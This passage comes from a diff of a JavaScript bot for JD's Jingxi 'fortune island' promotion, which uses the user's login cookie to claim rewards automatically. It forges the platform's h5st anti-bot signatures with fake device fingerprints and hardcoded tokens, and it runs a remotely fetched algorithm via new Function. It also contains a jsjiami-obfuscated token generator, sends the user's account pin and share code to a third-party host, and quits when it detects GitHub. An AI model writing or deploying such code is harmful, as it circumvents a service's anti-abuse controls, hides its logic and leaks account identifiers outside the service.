{taskId, taskName} = taskinfo; + const {ddwTaskId, strTaskName} = taskinfo; + switch (taskType) { + case 0://日常任务 + $.get(taskListUrl(`Award`, `taskId=${taskId}`, bizCode), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} Award API请求失败,请检查网路重试`) + } else { + const {msg, ret, data: {prizeInfo = ''} = {}} = JSON.parse(data.match(new RegExp(/jsonpCBK.?\((.*);*/))[1]); + let str = ''; + if (msg.indexOf('活动太火爆了') !== -1) { + str = '任务为成就任务或者未到任务时间'; + } else { + str = msg + prizeInfo ? `获得金币 ¥ ${JSON.parse(prizeInfo).ddwCoin}` : ''; + } + console.log(`【领日常奖励】${taskName} ${str}\n${$.showLog ? data : ''}`); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + break + case 1://成就奖励 + $.get(taskListUrl(`Award`, `taskId=${taskId}`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} AchieveAward API请求失败,请检查网路重试`) + } else { + const {msg, ret, data: {prizeInfo = ''} = {}} = JSON.parse(data.match(new RegExp(/jsonpCBK.?\((.*);*/))[1]); + if(msg.indexOf('活动太火爆了') !== -1) { + console.log(`活动太火爆了`) + } else { + console.log(`【领成就奖励】${taskName} 获得财富值 ¥ ${JSON.parse(prizeInfo).ddwMoney}\n${$.showLog ? data : ''}`); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + break + case 2: + $.get(taskListUrl(`Award`, `taskId=${ddwTaskId}`, `jxbfdprop`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} Award API请求失败,请检查网路重试`) + } else { + const {msg, ret, data: {prizeInfo = ''} = {}} = JSON.parse(data.match(new RegExp(/jsonpCBK.?\((.*);*/))[1]); + if(msg.indexOf('活动太火爆了') !== -1) { + console.log(`活动太火爆了`) + } else { + console.log(`【领卡片奖励】${strTaskName} 获得 ${JSON.parse(prizeInfo).CardInfo.CardList[0].strCardName}\n${$.showLog ? data : ''}`); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + default: + break + } + }); +} + +// 新手任务 +async function noviceTask(){ + let body = `` + await init(`user/guideuser`, body) + body = `strMark=guider_step&strValue=welcom&dwType=2` + await init(`user/SetMark`, body) + body = `strMark=guider_over_flag&strValue=999&dwType=2` + await init(`user/SetMark`, body) + body = `strMark=guider_step&strValue=999&dwType=2` + await init(`user/SetMark`, body) + body = `strMark=guider_step&strValue=999&dwType=2` + await init(`user/SetMark`, body) + body = `strMark=guider_over_flag&strValue=999&dwType=2` + await init(`user/SetMark`, body) + body = `strMark=guider_step&strValue=gift_redpack&dwType=2` + await init(`user/SetMark`, body) + body = `strMark=guider_step&strValue=none&dwType=2` + await init(`user/SetMark`, body) +} +async function init(function_path, body) { + return new Promise(async (resolve) => { + $.get(taskUrl(function_path, body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} init API请求失败,请检查网路重试`) + } else { + if (function_path == "user/SetMark") opId = 23 + if (function_path == "user/guideuser") opId = 27 + data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); + contents = `1771|${opId}|${data.iRet}|0|${data.sErrMsg || 0}` + await biz(contents) + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +function biz(contents){ + return new Promise(async (resolve) => { + let option = { + url:`https://m.jingxi.com/webmonitor/collect/biz.json?contents=${contents}&t=${Math.random()}&sceneval=2`, + headers: { + Cookie: cookie, + Accept: "*/*", + Connection: "keep-alive", + Referer: "https://st.jingxi.com/fortune_island/index.html?ptag=138631.26.55", + "Accept-Encoding": "gzip, deflate, br", + Host: 'm.jingxi.com', + "User-Agent": UA, + "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8", + } + } + $.get(option, async (err, resp, _data) => { + try { + // console.log(_data) + } + catch (e) { + $.logErr(e, resp); + } + finally { + resolve(); + } + }) + }) +} + +function taskUrl(function_path, body = '', dwEnv = 7) { + let url = `${JD_API_HOST}jxbfd/${function_path}?strZone=jxbfd&bizCode=jxbfd&source=jxbfd&dwEnv=${dwEnv}&_cfd_t=${Date.now()}&ptag=7155.9.47${body ? `&${body}` : ''}`; + url += `&_stk=${getStk(url)}`; + url += `&_ste=1&h5st=${decrypt(Date.now(), '', '', url)}&_=${Date.now() + 2}&sceneval=2&g_login_type=1&callback=jsonpCBK${String.fromCharCode(Math.floor(Math.random() * 26) + "A".charCodeAt(0))}&g_ty=ls`; + return { + url, + headers: { + "Host": "m.jingxi.com", + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "User-Agent": UA, + "Accept-Language": "zh-CN,zh-Hans;q=0.9", + "Referer": "https://st.jingxi.com/", + "Cookie": `cid=4;${cookie}` + } + } +} + +function taskListUrl(function_path, body = '', bizCode = 'jxbfd') { + let url = `${JD_API_HOST}newtasksys/newtasksys_front/${function_path}?strZone=jxbfd&bizCode=${bizCode}&source=jxbfd&dwEnv=7&_cfd_t=${Date.now()}&ptag=7155.9.47${body ? `&${body}` : ''}`; + url += `&_stk=${getStk(url)}`; + url += `&_ste=1&h5st=${decrypt(Date.now(), '', '', url)}&_=${Date.now() + 2}&sceneval=2&g_login_type=1&callback=jsonpCBK${String.fromCharCode(Math.floor(Math.random() * 26) + "A".charCodeAt(0))}&g_ty=ls`; + return { + url, + headers: { + "Host": "m.jingxi.com", + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "User-Agent": UA, + "Accept-Language": "zh-CN,zh-Hans;q=0.9", + "Referer": "https://st.jingxi.com/", + "Cookie": `cid=4;${cookie}` + } + } +} +function getStk(url) { + let arr = url.split('&').map(x => x.replace(/.*\?/, "").replace(/=.*/, "")) + return encodeURIComponent(arr.filter(x => x).sort().join(',')) +} +function randomString(e) { + e = e || 32; + let t = "0123456789abcdef", a = t.length, n = ""; + for (let i = 0; i < e; i++) + n += t.charAt(Math.floor(Math.random() * a)); + return n +} + +function showMsg() { + return new Promise(async (resolve) => { + if ($.result.length) { + if ($.notifyTime) { + const notifyTimes = $.notifyTime.split(",").map((x) => x.split(":")); + const now = $.time("HH:mm").split(":"); + console.log(`\n${JSON.stringify(notifyTimes)}`); + console.log(`\n${JSON.stringify(now)}`); + if ( notifyTimes.some((x) => x[0] === now[0] && (!x[1] || x[1] === now[1])) ) { + $.msg($.name, "", `${$.result.join("\n")}`); + } + } else { + $.msg($.name, "", `${$.result.join("\n")}`); + } + + if ($.isNode() && process.env.CFD_NOTIFY_CONTROL) + await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName}`, `${$.result.join("\n")}`); + } + resolve(); + }); +} + +function readShareCode() { + return new Promise(async resolve => { + $.get({url: `https://transfer.nz.lu/cfd`, timeout: 30 * 1000}, (err, resp, data) => { + try { + if (err) { + console.log(JSON.stringify(err)) + console.log(`${$.name} readShareCode API请求失败,请检查网路重试`) + } else { + if (data) { + console.log(`\n随机取${randomCount}个码放到您固定的互助码后面(不影响已有固定互助)`) + data = JSON.parse(data); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + await $.wait(30 * 1000); + resolve() + }) +} +function uploadShareCode(code) { + return new Promise(async resolve => { + $.post({url: `https://transfer.nz.lu/upload/cfd?code=${code}&ptpin=${encodeURIComponent(encodeURIComponent($.UserName))}`, timeout: 30 * 1000}, (err, resp, data) => { + try { + if (err) { + console.log(JSON.stringify(err)) + console.log(`${$.name} uploadShareCode API请求失败,请检查网路重试`) + } else { + if (data) { + if (data === 'OK') { + console.log(`已自动提交助力码\n`) + } else if (data === 'error') { + console.log(`助力码格式错误,乱玩API是要被打屁屁的~\n`) + } else if (data === 'full') { + console.log(`车位已满,请等待下一班次\n`) + } else if (data === 'exist') { + console.log(`助力码已经提交过了~\n`) + } else if (data === 'not in whitelist') { + console.log(`提交助力码失败,此用户不在白名单中\n`) + } else { + console.log(`未知错误:${data}\n`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + await $.wait(30 * 1000); + resolve() + }) +} +//格式化助力码 +function shareCodesFormat() { + return new Promise(async resolve => { + $.newShareCodes = [] + const readShareCodeRes = await readShareCode(); + if (readShareCodeRes && readShareCodeRes.code === 200) { + $.newShareCodes = [...new Set([...$.shareCodes, ...$.strMyShareIds, ...(readShareCodeRes.data || [])])]; + } else { + $.newShareCodes = [...new Set([...$.shareCodes, ...$.strMyShareIds])]; + } + console.log(`您将要助力的好友${JSON.stringify($.newShareCodes)}`) + resolve(); + }) +} + +function TotalBean() { + return new Promise(resolve => { + const options = { + url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", + headers: { + "Host": "me-api.jd.com", + "Accept": "*/*", + "User-Agent": "ScriptableWidgetExtension/185 CFNetwork/1312 Darwin/21.0.0", + "Accept-Language": "zh-CN,zh-Hans;q=0.9", + "Accept-Encoding": "gzip, deflate, br", + "Cookie": cookie + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === "1001") { + $.isLogin = false; //cookie过期 + return; + } + if (data['retcode'] === "0" && data.data && data.data.hasOwnProperty("userInfo")) { + $.nickName = data.data.userInfo.baseInfo.nickname; + } + } else { + console.log('京东服务器返回空数据'); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve() + } + }) + }) +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +/* +修改时间戳转换函数,京喜工厂原版修改 + */ +Date.prototype.Format = function (fmt) { + var e, + n = this, d = fmt, l = { + "M+": n.getMonth() + 1, + "d+": n.getDate(), + "D+": n.getDate(), + "h+": n.getHours(), + "H+": n.getHours(), + "m+": n.getMinutes(), + "s+": n.getSeconds(), + "w+": n.getDay(), + "q+": Math.floor((n.getMonth() + 3) / 3), + "S+": n.getMilliseconds() + }; + /(y+)/i.test(d) && (d = d.replace(RegExp.$1, "".concat(n.getFullYear()).substr(4 - RegExp.$1.length))); + for (var k in l) { + if (new RegExp("(".concat(k, ")")).test(d)) { + var t, a = "S+" === k ? "000" : "00"; + d = d.replace(RegExp.$1, 1 == RegExp.$1.length ? l[k] : ("".concat(a) + l[k]).substr("".concat(l[k]).length)) + } + } + return d; +} + +async function requestAlgo() { + $.fingerprint = await generateFp(); + const options = { + "url": `https://cactus.jd.com/request_algo?g_ty=ajax`, + "headers": { + 'Authority': 'cactus.jd.com', + 'Pragma': 'no-cache', + 'Cache-Control': 'no-cache', + 'Accept': 'application/json', + 'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1', + 'Content-Type': 'application/json', + 'Origin': 'https://st.jingxi.com', + 'Sec-Fetch-Site': 'cross-site', + 'Sec-Fetch-Mode': 'cors', + 'Sec-Fetch-Dest': 'empty', + 'Referer': 'https://st.jingxi.com/', + 'Accept-Language': 'zh-CN,zh;q=0.9,zh-TW;q=0.8,en;q=0.7' + }, + 'body': JSON.stringify({ + "version": "1.0", + "fp": $.fingerprint, + "appId": $.appId.toString(), + "timestamp": Date.now(), + "platform": "web", + "expandParams": "" + }) + } + return new Promise(async resolve => { + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`request_algo 签名参数API请求失败,请检查网路重试`) + } else { + if (data) { + // console.log(data); + data = JSON.parse(data); + if (data['status'] === 200) { + $.token = data.data.result.tk; + let enCryptMethodJDString = data.data.result.algo; + if (enCryptMethodJDString) $.enCryptMethodJD = new Function(`return ${enCryptMethodJDString}`)(); + console.log(`获取签名参数成功!`) + console.log(`fp: ${$.fingerprint}`) + console.log(`token: ${$.token}`) + console.log(`enCryptMethodJD: ${enCryptMethodJDString}`) + } else { + console.log(`fp: ${$.fingerprint}`) + console.log('request_algo 签名参数API请求失败:') + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function decrypt(time, stk, type, url) { + stk = stk || (url ? getUrlData(url, '_stk') : '') + if (stk) { + const timestamp = new Date(time).Format("yyyyMMddhhmmssSSS"); + let hash1 = ''; + if ($.fingerprint && $.token && $.enCryptMethodJD) { + hash1 = $.enCryptMethodJD($.token, $.fingerprint.toString(), timestamp.toString(), $.appId.toString(), $.CryptoJS).toString($.CryptoJS.enc.Hex); + } else { + const random = '5gkjB6SpmC9s'; + $.token = `tk01wcdf61cb3a8nYUtHcmhSUFFCfddDPRvKvYaMjHkxo6Aj7dhzO+GXGFa9nPXfcgT+mULoF1b1YIS1ghvSlbwhE0Xc`; + $.fingerprint = 5287160221454703; + const str = `${$.token}${$.fingerprint}${timestamp}${$.appId}${random}`; + hash1 = $.CryptoJS.SHA512(str, $.token).toString($.CryptoJS.enc.Hex); + } + let st = ''; + stk.split(',').map((item, index) => { + st += `${item}:${getUrlData(url, item)}${index === stk.split(',').length -1 ? '' : '&'}`; + }) + const hash2 = $.CryptoJS.HmacSHA256(st, hash1.toString()).toString($.CryptoJS.enc.Hex); + // console.log(`\nst:${st}`) + // console.log(`h5st:${["".concat(timestamp.toString()), "".concat(fingerprint.toString()), "".concat($.appId.toString()), "".concat(token), "".concat(hash2)].join(";")}\n`) + return encodeURIComponent(["".concat(timestamp.toString()), "".concat($.fingerprint.toString()), "".concat($.appId.toString()), "".concat($.token), "".concat(hash2), "".concat("3.0"), "".concat(time)].join(";")) + } else { + return '20210318144213808;8277529360925161;10001;tk01w952a1b73a8nU0luMGtBanZTHCgj0KFVwDa4n5pJ95T/5bxO/m54p4MtgVEwKNev1u/BUjrpWAUMZPW0Kz2RWP8v;86054c036fe3bf0991bd9a9da1a8d44dd130c6508602215e50bb1e385326779d' + } +} + +/** + * 获取url参数值 + * @param url + * @param name + * @returns {string} + */ +function getUrlData(url, name) { + if (typeof URL !== "undefined") { + let urls = new URL(url); + let data = urls.searchParams.get(name); + return data ? data : ''; + } else { + const query = url.match(/\?.*/)[0].substring(1) + const vars = query.split('&') + for (let i = 0; i < vars.length; i++) { + const pair = vars[i].split('=') + if (pair[0] === name) { + // return pair[1]; + return vars[i].substr(vars[i].indexOf('=') + 1); + } + } + return '' + } +} +/** + * 模拟生成 fingerprint + * @returns {string} + */ +function generateFp() { + let e = "0123456789"; + let a = 13; + let i = ''; + for (; a--; ) + i += e[Math.random() * e.length | 0]; + return (i + Date.now()).slice(0,16) +} +var _0xod8='jsjiami.com.v6',_0x2cf9=[_0xod8,'SsOTGQU0','w5fDtsOZw7rDhnHDpgo=','w47DoV4CZsK7w6bDtAkyJsOJexNawqZnw6FTe0dQw63DlHlvGMKBw4rDs8OYwoEWD0ML','VRFwZ8KG','H2jCkCrDjw==','bMO0Nigr','w5fDlkwEZg==','w6DCkUbDjWMz','wrYhHTQR','w5vDrG4SccK0w6/Duw==','w6HClVzDiX8=','5q2P6La95Y6CEiDCkMOgwrcr5aOj5Yes5LqV6Kai6I6aauS/jeebg1YLw5RSGy7Cm3M9QuWSlOmdsuazmOWKleWPs0PDkcOgPg==','WjsjIieSanSTdXmiuZb.EncDom.v6=='];(function(_0x30e78a,_0x12a1c3,_0x4ca71c){var _0x40a26e=function(_0x59c439,_0x435a06,_0x70e6be,_0x39d363,_0x31edda){_0x435a06=_0x435a06>>0x8,_0x31edda='po';var _0x255309='shift',_0x4aba1a='push';if(_0x435a06<_0x59c439){while(--_0x59c439){_0x39d363=_0x30e78a[_0x255309]();if(_0x435a06===_0x59c439){_0x435a06=_0x39d363;_0x70e6be=_0x30e78a[_0x31edda+'p']();}else if(_0x435a06&&_0x70e6be['replace'](/[WIeSnSTdXuZbEnD=]/g,'')===_0x435a06){_0x30e78a[_0x4aba1a](_0x39d363);}}_0x30e78a[_0x4aba1a](_0x30e78a[_0x255309]());}return 0x8dbb4;};return _0x40a26e(++_0x12a1c3,_0x4ca71c)>>_0x12a1c3^_0x4ca71c;}(_0x2cf9,0x6e,0x6e00));var _0x5108=function(_0x4dc255,_0x3cb8bc){_0x4dc255=~~'0x'['concat'](_0x4dc255);var _0x2e664b=_0x2cf9[_0x4dc255];if(_0x5108['xFLNEr']===undefined){(function(){var _0xfc2aa4=typeof window!=='undefined'?window:typeof process==='object'&&typeof require==='function'&&typeof global==='object'?global:this;var _0x26458d='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0xfc2aa4['atob']||(_0xfc2aa4['atob']=function(_0x509ed4){var _0x2e5ed8=String(_0x509ed4)['replace'](/=+$/,'');for(var _0x5f2c3c=0x0,_0x5a7e73,_0x42fadc,_0x50b6c7=0x0,_0x2de292='';_0x42fadc=_0x2e5ed8['charAt'](_0x50b6c7++);~_0x42fadc&&(_0x5a7e73=_0x5f2c3c%0x4?_0x5a7e73*0x40+_0x42fadc:_0x42fadc,_0x5f2c3c++%0x4)?_0x2de292+=String['fromCharCode'](0xff&_0x5a7e73>>(-0x2*_0x5f2c3c&0x6)):0x0){_0x42fadc=_0x26458d['indexOf'](_0x42fadc);}return _0x2de292;});}());var _0x503f7f=function(_0x517424,_0x3cb8bc){var _0x5bb1d7=[],_0x204abf=0x0,_0x50c70e,_0x376d53='',_0x19ba11='';_0x517424=atob(_0x517424);for(var _0x2212a4=0x0,_0x34e1ad=_0x517424['length'];_0x2212a4<_0x34e1ad;_0x2212a4++){_0x19ba11+='%'+('00'+_0x517424['charCodeAt'](_0x2212a4)['toString'](0x10))['slice'](-0x2);}_0x517424=decodeURIComponent(_0x19ba11);for(var _0x5372ab=0x0;_0x5372ab<0x100;_0x5372ab++){_0x5bb1d7[_0x5372ab]=_0x5372ab;}for(_0x5372ab=0x0;_0x5372ab<0x100;_0x5372ab++){_0x204abf=(_0x204abf+_0x5bb1d7[_0x5372ab]+_0x3cb8bc['charCodeAt'](_0x5372ab%_0x3cb8bc['length']))%0x100;_0x50c70e=_0x5bb1d7[_0x5372ab];_0x5bb1d7[_0x5372ab]=_0x5bb1d7[_0x204abf];_0x5bb1d7[_0x204abf]=_0x50c70e;}_0x5372ab=0x0;_0x204abf=0x0;for(var _0x30875f=0x0;_0x30875f<_0x517424['length'];_0x30875f++){_0x5372ab=(_0x5372ab+0x1)%0x100;_0x204abf=(_0x204abf+_0x5bb1d7[_0x5372ab])%0x100;_0x50c70e=_0x5bb1d7[_0x5372ab];_0x5bb1d7[_0x5372ab]=_0x5bb1d7[_0x204abf];_0x5bb1d7[_0x204abf]=_0x50c70e;_0x376d53+=String['fromCharCode'](_0x517424['charCodeAt'](_0x30875f)^_0x5bb1d7[(_0x5bb1d7[_0x5372ab]+_0x5bb1d7[_0x204abf])%0x100]);}return _0x376d53;};_0x5108['NgRmMn']=_0x503f7f;_0x5108['CiKmfm']={};_0x5108['xFLNEr']=!![];}var _0x15f777=_0x5108['CiKmfm'][_0x4dc255];if(_0x15f777===undefined){if(_0x5108['GhDaFS']===undefined){_0x5108['GhDaFS']=!![];}_0x2e664b=_0x5108['NgRmMn'](_0x2e664b,_0x3cb8bc);_0x5108['CiKmfm'][_0x4dc255]=_0x2e664b;}else{_0x2e664b=_0x15f777;}return _0x2e664b;};function getJxToken(){var _0x3565bd={'AShns':_0x5108('0','U*Pv'),'ehytr':function(_0x50bf17,_0x53078a){return _0x50bf17<_0x53078a;},'GoCYd':function(_0x136745,_0x5686db){return _0x136745(_0x5686db);},'xUqbe':function(_0x1ea9c8,_0x5b6c4e){return _0x1ea9c8*_0x5b6c4e;}};function _0x23cb77(_0x378208){let _0x36ad34=_0x3565bd[_0x5108('1','cqej')];let _0x3ba0b7='';for(let _0x24b162=0x0;_0x3565bd[_0x5108('2','1#C#')](_0x24b162,_0x378208);_0x24b162++){_0x3ba0b7+=_0x36ad34[_0x3565bd[_0x5108('3','Hq%O')](parseInt,_0x3565bd[_0x5108('4','U*Pv')](Math['random'](),_0x36ad34[_0x5108('5','8QnT')]))];}return _0x3ba0b7;}return new Promise(_0x2ef875=>{let _0x9ac908=_0x3565bd[_0x5108('6','x)1A')](_0x23cb77,0x28);let _0x256650=(+new Date())[_0x5108('7','U*Pv')]();if(!cookie[_0x5108('8','8QnT')](/pt_pin=([^; ]+)(?=;?)/)){console['log'](_0x5108('9','Hq%O'));_0x3565bd['GoCYd'](_0x2ef875,null);}let _0x4e1006=cookie[_0x5108('a','8#od')](/pt_pin=([^; ]+)(?=;?)/)[0x1];let _0x57bff6=$['md5'](''+decodeURIComponent(_0x4e1006)+_0x256650+_0x9ac908+'tPOamqCuk9NLgVPAljUyIHcPRmKlVxDy')[_0x5108('b',']OsH')]();_0x3565bd['GoCYd'](_0x2ef875,{'timestamp':_0x256650,'phoneid':_0x9ac908,'farm_jstoken':_0x57bff6});});};_0xod8='jsjiami.com.v6'; +!function(n){"use strict";function t(n,t){var r=(65535&n)+(65535&t);return(n>>16)+(t>>16)+(r>>16)<<16|65535&r}function r(n,t){return n<>>32-t}function e(n,e,o,u,c,f){return t(r(t(t(e,n),t(u,f)),c),o)}function o(n,t,r,o,u,c,f){return e(t&r|~t&o,n,t,u,c,f)}function u(n,t,r,o,u,c,f){return e(t&o|r&~o,n,t,u,c,f)}function c(n,t,r,o,u,c,f){return e(t^r^o,n,t,u,c,f)}function f(n,t,r,o,u,c,f){return e(r^(t|~o),n,t,u,c,f)}function i(n,r){n[r>>5]|=128<>>9<<4)]=r;var e,i,a,d,h,l=1732584193,g=-271733879,v=-1732584194,m=271733878;for(e=0;e>5]>>>t%32&255);return r}function d(n){var t,r=[];for(r[(n.length>>2)-1]=void 0,t=0;t>5]|=(255&n.charCodeAt(t/8))<16&&(o=i(o,8*n.length)),r=0;r<16;r+=1)u[r]=909522486^o[r],c[r]=1549556828^o[r];return e=i(u.concat(d(t)),512+8*t.length),a(i(c.concat(e),640))}function g(n){var t,r,e="";for(r=0;r>>4&15)+"0123456789abcdef".charAt(15&t);return e}function v(n){return unescape(encodeURIComponent(n))}function m(n){return h(v(n))}function p(n){return g(m(n))}function s(n,t){return l(v(n),v(t))}function C(n,t){return g(s(n,t))}function A(n,t,r){return t?r?s(t,n):C(t,n):r?m(n):p(n)}$.md5=A}(this); +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let 